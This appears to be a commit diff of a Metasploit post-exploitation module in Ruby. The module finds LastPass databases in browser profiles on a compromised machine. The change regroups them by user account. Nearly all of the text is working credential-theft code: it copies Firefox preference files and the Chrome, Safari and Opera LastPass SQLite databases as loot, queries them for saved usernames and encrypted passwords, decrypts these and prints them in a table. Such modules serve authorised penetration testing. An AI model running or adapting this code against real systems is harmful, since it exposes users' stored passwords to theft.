@@ -36,85 +36,82 @@ def run
36
36
37
37
print_status "Searching for LastPass databases..."
38
38
39
- db_map = database_paths # Find databases and get the remote paths
40
- if db_map . empty?
39
+ account_map = build_account_map
40
+ if account_map . empty?
41
41
print_status "No databases found"
42
42
return
43
43
end
44
44
45
- print_status "Extracting credentials from #{ db_map . size } LastPass databases"
45
+ print_status "Extracting credentials from #{ account_map . size } LastPass databases"
46
46
47
47
# an array of [user, encrypted password, browser]
48
48
credentials = [ ] # All credentials to be decrypted
49
- db_map . each_pair do |browser , paths |
50
- if browser == 'Firefox'
51
- paths . each do |path |
52
- data = read_file ( path )
53
- loot_path = store_loot (
54
- 'firefox.preferences' ,
55
- 'text/javascript' ,
56
- session ,
57
- data ,
58
- nil ,
59
- "Firefox preferences file #{ path } "
60
- )
61
-
62
- # Extract usernames and passwords from preference file
63
- firefox_credentials ( loot_path ) . each do |creds |
64
- credentials << [ URI . unescape ( creds [ 0 ] ) , URI . unescape ( creds [ 1 ] ) , browser ]
49
+ account_map . each_pair do |account , browser_map |
50
+ browser_map . each_pair do |browser , paths |
51
+ if browser == 'Firefox'
52
+ paths . each do |path |
53
+ data = read_file ( path )
54
+ loot_path = store_loot (
55
+ 'firefox.preferences' ,
56
+ 'text/javascript' ,
57
+ session ,
58
+ data ,
59
+ nil ,
60
+ "Firefox preferences file #{ path } "
61
+ )
62
+
63
+ # Extract usernames and passwords from preference file
64
+ firefox_credentials ( loot_path ) . each do |creds |
65
+ credentials << [ account , browser , URI . unescape ( creds [ 0 ] ) , URI . unescape ( creds [ 1 ] ) ]
66
+ end
67
+ end
68
+ else # Chrome, Safari and Opera
69
+ paths . each do |path |
70
+ data = read_file ( path )
71
+ loot_path = store_loot (
72
+ "#{ browser . downcase } .lastpass.database" ,
73
+ 'application/x-sqlite3' ,
74
+ session ,
75
+ data ,
76
+ nil ,
77
+ "#{ account } 's #{ browser } LastPass database #{ path } "
78
+ )
79
+
80
+ # Parsing/Querying the DB
81
+ db = SQLite3 ::Database . new ( loot_path )
82
+ lastpass_user , lastpass_pass = db . execute (
83
+ "SELECT username, password FROM LastPassSavedLogins2 " \
84
+ "WHERE username IS NOT NULL AND username != '' " \
85
+ "AND password IS NOT NULL AND password != '';"
86
+ ) . flatten
87
+ if lastpass_user && lastpass_pass
88
+ credentials << [ account , browser , lastpass_user , lastpass_pass ]
89
+ end
65
90
end
66
- end
67
- else # Chrome, Safari and Opera
68
- paths . each do |path |
69
- data = read_file ( path )
70
- loot_path = store_loot (
71
- "#{ browser . downcase } .lastpass.database" ,
72
- 'application/x-sqlite3' ,
73
- session ,
74
- data ,
75
- nil ,
76
- "#{ browser } LastPass database #{ path } "
77
- )
78
-
79
- # Parsing/Querying the DB
80
- db = SQLite3 ::Database . new ( loot_path )
81
- user , pass = db . execute (
82
- "SELECT username, password FROM LastPassSavedLogins2 " \
83
- "WHERE username IS NOT NULL AND username != '' " \
84
- "AND password IS NOT NULL AND password != '';"
85
- ) . flatten
86
- credentials << [ user , pass , browser ] if user && pass
87
91
end
88
92
end
89
93
end
90
94
91
95
credentials_table = Rex ::Ui ::Text ::Table . new (
92
96
'Header' => "LastPass credentials" ,
93
97
'Indent' => 1 ,
94
- 'Columns' => %w( Username Password Browser )
98
+ 'Columns' => %w( Account Browser LastPass_Username LastPass_Password )
95
99
)
96
100
# Parse and decrypt credentials
97
101
credentials . each do |row | # Decrypt passwords
98
- user , enc_pass , browser = row
99
- vprint_status "Decrypting password for user #{ user } from #{ browser } ..."
102
+ account , browser , user , enc_pass = row
103
+ vprint_status "Decrypting password for #{ account } 's #{ user } from #{ browser } ..."
100
104
password = clear_text_password ( user , enc_pass )
101
- credentials_table << [ user , password , browser ]
105
+ credentials_table << [ account , browser , user , password ]
102
106
end
103
107
print_good credentials_table . to_s unless credentials . empty?
104
108
end
105
109
106
- # Finds the databases in the victim's machine
107
- def database_paths
110
+ # Returns a mapping of { Account => { Browser => paths } }
111
+ def build_account_map
108
112
platform = session . platform
109
113
profiles = user_profiles
110
- found_dbs_map = {
111
- 'Chrome' => [ ] ,
112
- 'Firefox' => [ ] ,
113
- 'Opera' => [ ] ,
114
- 'Safari' => [ ]
115
- }
116
-
117
- browser_path_map = { }
114
+ found_dbs_map = { }
118
115
119
116
if datastore [ 'VERBOSE' ]
120
117
vprint_status "Found #{ profiles . size } users: #{ profiles . map { |p | p [ 'UserName' ] } . join ( ', ' ) } "
@@ -123,7 +120,9 @@ def database_paths
123
120
end
124
121
125
122
profiles . each do |user_profile |
126
- username = user_profile [ 'UserName' ]
123
+ account = user_profile [ 'UserName' ]
124
+ browser_path_map = { }
125
+
127
126
case platform
128
127
when /win/
129
128
browser_path_map = {
@@ -148,27 +147,29 @@ def database_paths
148
147
print_error "Platform not recognized: #{ platform } "
149
148
end
150
149
150
+ found_dbs_map [ account ] = { }
151
151
browser_path_map . each_pair do |browser , path |
152
- found_dbs_map [ browser ] | = find_db_paths ( path , browser , username )
152
+ found_dbs_map [ account ] [ browser ] = find_db_paths ( path , browser , account )
153
153
end
154
154
end
155
155
156
- found_dbs_map . delete_if { |browser , paths | paths . empty? }
156
+ #found_dbs_map.delete_if { |account, browser_map paths.empty? }
157
+ found_dbs_map
157
158
end
158
159
159
160
# Returns a list of DB paths found in the victims' machine
160
- def find_db_paths ( path , browser , username )
161
+ def find_db_paths ( path , browser , account )
161
162
paths = [ ]
162
163
163
- vprint_status "Checking #{ username } 's #{ browser } ..."
164
+ vprint_status "Checking #{ account } 's #{ browser } ..."
164
165
if browser == "Firefox" # Special case for Firefox
165
166
profiles = firefox_profile_files ( path , browser )
166
167
paths |= profiles
167
168
else
168
- paths |= file_paths ( path , browser , username )
169
+ paths |= file_paths ( path , browser , account )
169
170
end
170
171
171
- vprint_good "Found #{ paths . size } #{ browser } databases for #{ username } "
172
+ vprint_good "Found #{ paths . size } #{ browser } databases for #{ account } "
172
173
paths
173
174
end
174
175
@@ -205,7 +206,7 @@ def user_profiles
205
206
end
206
207
207
208
# Extracts the databases paths from the given folder ignoring . and ..
208
- def file_paths ( path , browser , username )
209
+ def file_paths ( path , browser , account )
209
210
found_dbs_paths = [ ]
210
211
211
212
if directory? ( path )
0 commit comments